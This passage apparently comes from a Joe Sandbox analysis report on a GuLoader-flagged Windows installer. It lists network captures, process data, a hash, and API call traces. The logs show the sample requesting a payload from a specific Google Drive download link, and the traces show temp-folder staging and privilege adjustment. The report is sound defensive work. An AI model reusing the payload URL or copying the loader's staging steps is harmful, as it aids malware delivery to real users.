2025-01-11 04:07:36 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:36 GMT Location: https://drive.usercontent.google.com/download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-aid9MdKqUnJiSa7QiLC5sg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.11	50065	142.250.184.225	443	7988	C:\Users\user\Desktop\QNuQ5e175D.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 04:07:37 UTC	466	OUT	GET /download?id=1QcE_NzIJ0Otlo3020Ku5mJyfAs6YSv-M&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=M_ZM-qe0hZo3co2jd_WzZQpOKAaaZ0wi4mOh41YgqjGKGA8htFwOP-1NuMf6H-D4Na57_6kYnXw5n5OzZ8eDZ817p3o0OIITe39NmNWcEZDsNL2ijJLZYCvkerixY4B_quLIpw6a72D0g0KMjdV3713OOoI1Lx9joBxAqNjPcgyfLWinVWR0ZxAslRVhGQ
2025-01-11 04:07:37 UTC	1844	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFIdbgQYsitrk7M_hOWuHD9TZcQS9bg28596iS2e1xQb7L5hgTRAqzMWwkGFFjMJyDowChgc Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 04:07:37 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-t3WNlEsGsc5xQtNeaaTF5w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-11 04:07:37 UTC	1652	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 7a 56 69 6c 46 44 31 72 77 41 54 34 38 34 4e 76 4d 6c 79 56 4b 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not Found)!!1</title><style nonce="zVilFD1rwAT484NvMlyVKg">*{margin:0;padding:0}html,code{font:15px/22px arial

Target ID:	0
Start time:	23:05:31
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\QNuQ5e175D.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QNuQ5e175D.exe"
Imagebase:	0x400000
File size:	585'064 bytes
MD5 hash:	9BB2CDB8508EE2255A35ECEC43462A48
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000000.00000002.1535894824.000000000446C000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	23:05:54
Start date:	10/01/2025
Path:	C:\Users\user\Desktop\QNuQ5e175D.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\QNuQ5e175D.exe"
Imagebase:	0x400000
File size:	585'064 bytes
MD5 hash:	9BB2CDB8508EE2255A35ECEC43462A48
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_GuLoader_2, Description: Yara detected GuLoader, Source: 00000003.00000002.2559418196.00000000017EC000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	22.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	16%
Total number of Nodes:	1575
Total number of Limit Nodes:	40

Executed Functions

Function 00403552 Relevance: 84.5, APIs: 32, Strings: 16, Instructions: 464
stringfilecomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE ref: 00403575
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?), ref: 004035A0
GetVersionExW.KERNEL32(?,?,?,?,?,?,?,?,?), ref: 004035B3
lstrlenA.KERNEL32(UXTHEME,UXTHEME,?,?,?,?,?,?,?,?), ref: 0040364C
#17.COMCTL32(?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403689
OleInitialize.OLE32(00000000), ref: 00403690
SHGetFileInfoW.SHELL32(0042AA28,00000000,?,000002B4,00000000), ref: 004036AF
GetCommandLineW.KERNEL32(00433700,NSIS Error,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 004036C4
CharNextW.USER32(00000000,"C:\Users\user\Desktop\QNuQ5e175D.exe",00000020,"C:\Users\user\Desktop\QNuQ5e175D.exe",00000000,?,00000008,0000000A,0000000C), ref: 004036FD
GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,00000000,00008001,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403835
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403846
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403852
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403866
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040386E
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040387F
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403887
DeleteFileW.KERNELBASE(1033,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 0040389B
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\QNuQ5e175D.exe",00000000,?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403974

Part of subcall function 00406577: lstrcpynW.KERNEL32(?,?,00000400,004036C4,00433700,NSIS Error,?,00000008,0000000A,0000000C), ref: 00406584

wsprintfW.USER32 ref: 004039D1
GetFileAttributesW.KERNEL32(00437800,C:\Users\user\AppData\Local\Temp\), ref: 00403A04
DeleteFileW.KERNEL32(00437800), ref: 00403A10
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\), ref: 00403A3E

Part of subcall function 00406337: MoveFileExW.KERNEL32(?,?,00000005,00405E35,?,00000000,000000F1,?,?,?,?,?), ref: 00406341

CopyFileW.KERNEL32(C:\Users\user\Desktop\QNuQ5e175D.exe,00437800,00000001,C:\Users\user\AppData\Local\Temp\,00000000), ref: 00403A54

Part of subcall function 00405B5A: CreateProcessW.KERNELBASE(00000000,00437800,00000000,00000000,00000000,04000000,00000000,00000000,0042FA70,?,?,?,00437800,?), ref: 00405B83
Part of subcall function 00405B5A: CloseHandle.KERNEL32(?,?,?,00437800,?), ref: 00405B90

Part of subcall function 004068D4: FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00405F97,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,756F3420,C:\Users\user\AppData\Local\Temp\), ref: 004068DF
Part of subcall function 004068D4: FindClose.KERNELBASE(00000000), ref: 004068EB

OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AA2
ExitProcess.KERNEL32 ref: 00403ABF
CloseHandle.KERNEL32(00000000,00438000,00438000,?,00437800,00000000), ref: 00403AC6
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C,?,?,?,?,?,?,?,?), ref: 00403AE2
OpenProcessToken.ADVAPI32(00000000,?,?,?,?,?,?,?,?), ref: 00403AE9
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AFE
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00403B21
ExitWindowsEx.USER32(00000002,80040002), ref: 00403B46
ExitProcess.KERNEL32 ref: 00403B69

Part of subcall function 00405B25: CreateDirectoryW.KERNELBASE(?,00000000,00403545,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,0040383C,?,00000008,0000000A,0000000C), ref: 00405B2B

Strings

~nsu%X.tmp, xrefs: 004039C8
"C:\Users\user\Desktop\QNuQ5e175D.exe", xrefs: 004036CA, 004036D0, 004036E5, 004038C3
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 0040381A, 0040393C, 00403989, 00403997
1033, xrefs: 00403896
TEMP, xrefs: 0040387A
\Temp, xrefs: 0040384C
Error launching installer, xrefs: 0040391D
C:\Users\user\Desktop, xrefs: 00403992
NSIS Error, xrefs: 004036B5
Low, xrefs: 00403868
UXTHEME, xrefs: 00403640, 00403645, 0040364B
C:\Users\user\AppData\Local\Temp\, xrefs: 0040382A, 0040382F, 00403845, 00403851, 00403860, 0040386D, 00403879, 00403881, 0040396F, 004039F0, 00403A1C, 00403A3D, 00403A46
TMP, xrefs: 00403882
C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres, xrefs: 00403947
SeShutdownPrivilege, xrefs: 00403AF8
C:\Users\user\Desktop\QNuQ5e175D.exe, xrefs: 00403A4F

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: File$Process$CloseDirectoryExit$CreateCurrentDeleteEnvironmentFindHandlePathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCommandCopyErrorFirstInfoInitializeLineLookupModeMoveNextOpenPrivilegePrivilegesUninitializeValuelstrcpynwsprintf
String ID: "C:\Users\user\Desktop\QNuQ5e175D.exe"$1033$C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$C:\Users\user\AppData\Local\skattekode\Rygtets222\overstadigeres$C:\Users\user\Desktop$C:\Users\user\Desktop\QNuQ5e175D.exe$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu%X.tmp
API String ID: 1813718867-3260677286
Opcode ID: 3bbf329214e6d57898fd1087eec31c3cd4d4deec240645a0aaa836412135d51f
Instruction ID: 854c728f01c0035939758d15b123b9002cb8995d15bf2fdbd915a0a46deb4321
Opcode Fuzzy Hash: 3bbf329214e6d57898fd1087eec31c3cd4d4deec240645a0aaa836412135d51f
Instruction Fuzzy Hash: 6DF1F470604301ABD320AF659D05B6B7EE8EB8570AF10483FF581B22D1DB7DDA458B6E

Function 0040573B Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 284
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 00405799
GetDlgItem.USER32(?,000003EE), ref: 004057A8
GetClientRect.USER32(?,?), ref: 004057E5
GetSystemMetrics.USER32(00000002), ref: 004057EC
SendMessageW.USER32(?,00001061,00000000,?), ref: 0040580D
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 0040581E
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00405831
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040583F
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405852
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405874
ShowWindow.USER32(?,00000008), ref: 00405888
GetDlgItem.USER32(?,000003EC), ref: 004058A9
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 004058B9
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004058D2
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004058DE
GetDlgItem.USER32(?,000003F8), ref: 004057B7

Part of subcall function 0040452B: SendMessageW.USER32(00000028,?,00000001,00404356), ref: 00404539

GetDlgItem.USER32(?,000003EC), ref: 004058FB
CreateThread.KERNELBASE(00000000,00000000,Function_000056CF,00000000), ref: 00405909
CloseHandle.KERNELBASE(00000000), ref: 00405910
ShowWindow.USER32(00000000), ref: 00405934
ShowWindow.USER32(?,00000008), ref: 00405939
ShowWindow.USER32(00000008), ref: 00405983
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 004059B7
CreatePopupMenu.USER32 ref: 004059C8
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004059DC
GetWindowRect.USER32(?,?), ref: 004059FC
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00405A15
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A4D
OpenClipboard.USER32(00000000), ref: 00405A5D
EmptyClipboard.USER32 ref: 00405A63
GlobalAlloc.KERNEL32(00000042,00000000), ref: 00405A6F
GlobalLock.KERNEL32(00000000), ref: 00405A79
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405A8D
GlobalUnlock.KERNEL32(00000000), ref: 00405AAD
SetClipboardData.USER32(0000000D,00000000), ref: 00405AB8
CloseClipboard.USER32 ref: 00405ABE

Strings

{, xrefs: 004059A1

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
String ID: {
API String ID: 590372296-366298937
Opcode ID: d983cdf5f34f6151cad2321293c356f45f3306b1bb5ea95040b854dda8cdae6d
Instruction ID: d3b07f9c2581fb6b60ef1a2666babd9f8dcdaaa8066b0d43d813b8afd8e95190
Opcode Fuzzy Hash: d983cdf5f34f6151cad2321293c356f45f3306b1bb5ea95040b854dda8cdae6d
Instruction Fuzzy Hash: 03B159B0900608FFDF11AF60DD89AAE7B79FB48355F00813AFA45BA1A0C7785A51DF58

Function 73B01BFF Relevance: 20.1, APIs: 13, Instructions: 597stringlibrarymemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 73B012BB: GlobalAlloc.KERNELBASE(00000040,?,73B012DB,?,73B0137F,00000019,73B011CA,-000000A0), ref: 73B012C5

GlobalAlloc.KERNELBASE(00000040,00001CA4), ref: 73B01D2D
lstrcpyW.KERNEL32(00000008,?), ref: 73B01D75
lstrcpyW.KERNEL32(00000808,?), ref: 73B01D7F
GlobalFree.KERNEL32(00000000), ref: 73B01D92
GlobalFree.KERNEL32(?), ref: 73B01E74
GlobalFree.KERNEL32(?), ref: 73B01E79
GlobalFree.KERNEL32(?), ref: 73B01E7E
GlobalFree.KERNEL32(00000000), ref: 73B02068
lstrcpyW.KERNEL32(?,?), ref: 73B02222
GetModuleHandleW.KERNEL32(00000008), ref: 73B022A1
LoadLibraryW.KERNEL32(00000008), ref: 73B022B2
GetProcAddress.KERNEL32(?,?), ref: 73B0230C
lstrlenW.KERNEL32(00000808), ref: 73B02326

Memory Dump Source

Source File: 00000000.00000002.1569059369.0000000073B01000.00000020.00000001.01000000.00000004.sdmp, Offset: 73B00000, based on PE: true

Associated: 00000000.00000002.1568940355.0000000073B00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569611314.0000000073B04000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.1569637966.0000000073B06000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_73b00000_QNuQ5e175D.jbxd

Similarity

API ID: Global$Free$lstrcpy$Alloc$AddressHandleLibraryLoadModuleProclstrlen
String ID:
API String ID: 245916457-0
Opcode ID: 7cef922caf06c6b257d58d4287bd4bd3cdc204bf10a2e443eb041c38675be0bd
Instruction ID: 8165f896b8f191b5a644070e0182c35c6352e0f0100f640a89baf4457fd625bd
Opcode Fuzzy Hash: 7cef922caf06c6b257d58d4287bd4bd3cdc204bf10a2e443eb041c38675be0bd
Instruction Fuzzy Hash: C4228A79D0020ADFEB19CFA4C5807AEBFB5FB88315F14853ED166AA290F7709685CB50

Function 00405C83 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNELBASE(?,?,756F3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\QNuQ5e175D.exe"), ref: 00405CAC
lstrcatW.KERNEL32(0042EA70,\*.*,0042EA70,?,?,756F3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\QNuQ5e175D.exe"), ref: 00405CF4
lstrcatW.KERNEL32(?,0040A014,?,0042EA70,?,?,756F3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\QNuQ5e175D.exe"), ref: 00405D17
lstrlenW.KERNEL32(?,?,0040A014,?,0042EA70,?,?,756F3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\QNuQ5e175D.exe"), ref: 00405D1D
FindFirstFileW.KERNEL32(0042EA70,?,?,?,0040A014,?,0042EA70,?,?,756F3420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\QNuQ5e175D.exe"), ref: 00405D2D
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405DCD
FindClose.KERNEL32(00000000), ref: 00405DDC

Strings

"C:\Users\user\Desktop\QNuQ5e175D.exe", xrefs: 00405C8C
\*.*, xrefs: 00405CEE
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C90
pB, xrefs: 00405CDC

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: "C:\Users\user\Desktop\QNuQ5e175D.exe"$C:\Users\user\AppData\Local\Temp\$\*.*$pB
API String ID: 2035342205-770147174
Opcode ID: 8ddda18a5e03c3094d99475b595a137c5d28125fbada97bd0876376ed00bff5b
Instruction ID: 26a84cf893ecfac7fe2d2a8ab9ced37764d13583991ceadb599b2dfedf858990
Opcode Fuzzy Hash: 8ddda18a5e03c3094d99475b595a137c5d28125fbada97bd0876376ed00bff5b
Instruction Fuzzy Hash: 8E41B030800A18B6CB21AB65DC4DAAF7778EF42718F10813BF851711D1DB7C4A82DEAE

Function 004068D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(?,0042FAB8,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00405F97,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsj924C.tmp,C:\Users\user\AppData\Local\Temp\nsj924C.tmp, 4ou,?,C:\Users\user\AppData\Local\Temp\,00405CA3,?,756F3420,C:\Users\user\AppData\Local\Temp\), ref: 004068DF
FindClose.KERNELBASE(00000000), ref: 004068EB

Strings

C:\Users\user\AppData\Local\Temp\nsj924C.tmp, xrefs: 004068D4

Memory Dump Source

Source File: 00000000.00000002.1532332230.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1532275163.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532358270.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000042F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1532379838.0000000000464000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1533357258.0000000000468000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_QNuQ5e175D.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: C:\Users\user\AppData\Local\Temp\nsj924C.tmp
API String ID: 2295610775-1453126546
Opcode ID: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction ID: 1cf04926a4a3889f6b92b588199f87985a57aa1d1812818edfb9113e4ef6e03f
Opcode Fuzzy Hash: d8a05a579feb8caf00dd3d3e1258ef949bc643ef28fd0ab534c34ddbe61a4aed
Instruction Fuzzy Hash: 53D012725162209BC240673CBD0C84B7A58AF253317518A3AF46AF61E0DB348C639699

Function 00403FF7 Relevance: 51.4, APIs: 34, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404033
ShowWindow.USER32(?), ref: 00404053
GetWindowLongW.USER32(?,000000F0), ref: 00404065
ShowWindow.USER32(?,00000004), ref: 0040407E
DestroyWindow.USER32 ref: 00404092
SetWindowLongW.USER32(?,00000000,00000000), ref: 004040AB
GetDlgItem.USER32(?,?), ref: 004040CA
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004040DE
IsWindowEnabled.USER32(00000000), ref: 004040E5
GetDlgItem.USER32(?,00000001), ref: 00404190
GetDlgItem.USER32(?,00000002), ref: 0040419A
SetClassLongW.USER32(?,000000F2,?), ref: 004041B4
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 00404205
GetDlgItem.USER32(?,00000003), ref: 004042AB
